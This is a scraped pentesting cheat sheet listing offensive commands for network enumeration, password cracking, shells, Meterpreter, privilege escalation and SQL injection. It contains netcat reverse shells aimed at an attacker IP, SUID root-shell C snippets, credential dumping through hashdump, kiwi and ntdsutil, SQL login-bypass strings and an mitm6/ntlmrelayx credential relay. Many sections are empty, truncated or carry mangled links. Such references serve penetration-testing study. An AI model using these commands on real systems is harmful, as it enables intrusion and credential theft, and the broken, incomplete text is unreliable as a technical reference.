Cheat Cheet Pentest
Cheat Cheet Pentest
☰ Menu
Pentesting Cheatsheet
Table of Contents
Enumeration
General Enumeration
SSH (22)
Pop3 (110)
RPCBind (111)
Meterpreter Payloads
Binaries
Web Payloads
Scripting Payloads
Shellcode
Handlers
Powershell
Privilege Escalation
Linux
Windows
Command Injection
File Traverse
Transfer file
Injections
SQLMap
Miscellaneous
Tunneling: 11
AV Bypass: 12
Web hosts. 12
Shellshock
Recon
Meterpreter Stuff
Proxy Chaining
Huge collection of common commands and scripts as well as general pentest info
Scripts
Pentest Checklist
General Enumeration:
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause
knockover
netdiscover -r 192.168.1.0/24
ssh INSERTIPADDRESS 22
nc -nvv INSERTIPADDRESS 25
telnet INSERTIPADDRESS 25
dirbuster (GUI)
dirb http://10.0.0.1/
nikto –h 10.0.0.1
Pop3 (110):
USER [username]
PASS [password]
To login
LIST
To list messages
Retrieve message
QUIT
quits
RPCBind (111):
rpcinfo –p x.x.x.x
enum4linux –a 10.0.0.1
nbtscan x.x.x.x
Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios
name and discover client workgroup / domain
smbclient -L //INSERTIPADDRESS/
snmpenum -t 192.168.1.X
Oracle (1521):
showmount -e IPADDR
Install smb4k on Kali, useful Linux GUI for browsing SMB shares
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
Exploit Research
Search exploit-db for exploit, in this example windows 2003 + local esc
Compiling Exploits
gcc -o exploit exploit.c
Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit Linux
Packet Inspection:
Password Cracking
hash-identifier [hash]
john hashes.txt
Brute force crack for NTLM hashes with an uppercase, lowercase, lowercase, and 4 digit
mask
List of hash types and examples for hashcat https://hashcat.net/wiki/doku.php?
id=example_hashes (https://hashcat.net/wiki/doku.php?id=example_hashes)
https://hashkiller.co.uk (https://hashkiller.co.uk) has a good repo of already cracked MD5 and
NTLM hashes
Bruteforcing:
SUID C Shells
bin/bash:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
bin/sh:
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
TTY Shell:
echo os.system('/bin/bash')
/bin/sh –i
execute('/bin/sh')
LUA
!sh
:!bash
exec "/bin/sh"
Netcat
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
PHP
Bash
Perl
exec "/bin/sh";
Windows
Windows
Meterpreter
execute -f c:\\windows\temp\exploit.exe
execute -f cmd -c
ps
shell
getsystem
hashdump
Meterpreter attempts to dump the hashes on the target (must have privileges; try
migrating to winlogon.exe if possible first)
use exploit/windows/local/bypassuac
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use exploit/multi/script/web_delivery
post/windows/manage/powershell/exec_powershell
use exploit/multi/http/jboss_maindeployer
use exploit/windows/mssql/mssql_payload
run post/windows/gather/win_privs
use post/windows/gather/credentials/gpp
load kiwi
creds_all
run post/windows/gather/local_admin_search_enum
Idenitfy other machines that the supplied domain user has administrative access to
Meterpreter Payloads
msfvenom –l
List options
Binaries
PHP
Listener
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpa
PHP
ASP
JSP
WAR
Scripting Payloads
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Python
Bash
Perl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters.
Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Handlers
Powershell
Execution Bypass
Set-ExecutionPolicy Unrestricted
./file.ps1
Import-Module script.psm1
Invoke-FunctionThatIsIntheModule
iex(new-object system.net.webclient).downloadstring(“file:///C:\examplef
Powershell.exe blocked
Persistence
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
Privilege Escalation
Linux:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
https://github.com/pentestmonkey/unix-privesc-check (https://github.com/pentestmonkey/unix-
privesc-check)
Windows:
https://github.com/pentestmonkey/windows-privesc-check
(https://github.com/pentestmonkey/windows-privesc-check)
http://www.fuzzysecurity.com/tutorials/16.html (http://www.fuzzysecurity.com/tutorials/16.html)
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
(https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
Command Injection
File Traverse:
website.com/file.php[?path=/]
; php -f filelocation.php;
SQLInjections
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
SQLMap
This will take captured credentials via IPv6 spoofing using mitm6 and relay them to a target via
ntlmrelayx.py. It requires ntlmrelayx.py and mitm6 to be installed already.
mitm6 -d <domain.local>
First, start mitm6 and specify the domain you’re spoofing on with ‘-d domain.name’
-6 specifies ipv6, -wh specifies where the WPAD file is hosted at (your IP usually). -t
specifies the target, or destination where the credentials will be relayed. -l is to where to
store the loot.
This small script will name your terminal whatever you pass as an argument to it. It helps
organizing with multiple terminals open. Thanks Ben!
#!bin/bash
Tunneling:
sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the need
for proxy chains. What this command does is tunnels traffic through 10.0.0.1 and makes a route
for all traffic destined for 10.10.10.0/24 through your sshuttle tunnel.
Web hosts
python -m SimpleHTTPServer 80
Basic HTTP Server. Will list the directory it’s started in.
service apache2 start
Starts Apache web server. Place files in /var/www/html to be able to ‘wget’ them.
Netcat
Shellshock
CrackMapExec
Spray the network with local login credentials then dump SAM contents
Requires Empire Restful API to be running. It will spray supply credentials and pop an
empire agent on any successful login. Read more here
(https://github.com/byt3bl33d3r/CrackMapExec/wiki/Getting-Shells-101)
Resources & Links
http://www.fuzzysecurity.com/tutorials/16.html (http://www.fuzzysecurity.com/tutorials/16.html)
https://toshellandback.com/2015/11/24/ms-priv-esc/ (https://toshellandback.com/2015/11/24/ms-
priv-esc/)
http://www.itninja.com/blog/view/mysql-and-apache-profile-log-path-locations
(http://www.itninja.com/blog/view/mysql-and-apache-profile-log-path-locations)
Recon
https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/
(https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/)
http://pentestmonkey.net/ (http://pentestmonkey.net/)
https://highon.coffee/blog/cheat-sheet/ (https://highon.coffee/blog/cheat-sheet/)
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
Meterpreter Stuff
http://netsec.ws/?p=331 (http://netsec.ws/?p=331)
Proxy Chaining
https://github.com/sshuttle/sshuttle (https://github.com/sshuttle/sshuttle)
https://github.com/rofl0r/proxychains-ng (https://github.com/rofl0r/proxychains-ng)
https://www.offensive-security.com/metasploit-unleashed/proxytunnels/ (https://www.offensive-
security.com/metasploit-unleashed/proxytunnels/)
https://bobloblaw.gitbooks.io/security/content/ (https://bobloblaw.gitbooks.io/security/content/)
Scripts
https://github.com/rebootuser/LinEnum (https://github.com/rebootuser/LinEnum)
https://github.com/mzet-/linux-exploit-suggester (https://github.com/mzet-/linux-exploit-
suggester)
https://github.com/azmatt/windowsEnum (https://github.com/azmatt/windowsEnum)
https://github.com/leebaird/discover (https://github.com/leebaird/discover)
https://nmap.org/nsedoc/ (https://nmap.org/nsedoc/)
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
Pentest Checklist
http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf
(http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf)
Pentesting Workflow
https://workflowy.com/s/FgBl.6qcAQUUqWM (https://workflowy.com/s/FgBl.6qcAQUUqWM)
https://xapax.github.io/blog/2017/01/14/OSCP.html
(https://xapax.github.io/blog/2017/01/14/OSCP.html)
http://www.securitysift.com/offsec-pwb-oscp/ (http://www.securitysift.com/offsec-pwb-oscp/)
https://netsecfocus.com/topic/32/oscp-like-vulnhub-vms (https://netsecfocus.com/topic/32/oscp-
like-vulnhub-vms)
https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html
(https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html)
https://localhost.exposed/path-to-oscp/ (https://localhost.exposed/path-to-oscp/)
https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_the_oscp/
(https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_the_oscp/)
https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-off-my.html
(https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-off-my.html)
http://www.securitysift.com/offsec-pwb-oscp/ (http://www.securitysift.com/offsec-pwb-oscp/)